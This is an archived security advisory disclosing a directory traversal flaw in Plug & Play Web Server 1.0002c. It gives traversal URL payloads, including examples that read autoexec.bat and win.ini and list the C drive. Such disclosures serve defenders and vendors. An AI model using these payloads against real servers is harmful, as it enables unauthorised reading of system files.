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TUCoPS :: Web :: Servers :: bt1141.txt

Plug & Play Web Server directory traversal







Directory traversal in Plug & Play Web Server





Introduction:

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"The Plug and Play Web Server provides all of the tools you need to host your own website. The tools are bundled together in one comprehensive software package that it is incredibly easy to use and maintain."

- Vendors Description

   [ http://www.pandpsoftware.com ]





Details:

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Vulnerable systems: Plug & Play Web Server version 1.0002c



Plug & Play Web Server have a Directory Traversal Vulnerability Using the string '../' or '..\' in a URL, an attacker can gain read access to any file outside of the intended web-published filesystem directory.



http://[target]/../../existing_file



http://[target]\..\..\existing_file



Examples:

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http://localhost/../../autoexec.bat



http://localhost/../../windows/win.ini



http://localhost/../../  [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.]





Vendor status:

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The vendor has been informed, and they are fixing this bug.

The updated version, when released, can be downloaded from:



http://www.pandpsoftware.com/download.htm





Discovered by/Credit:

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Bahaa Naamneh

b_naamneh@hotmail.com

http://www.bsecurity.tk


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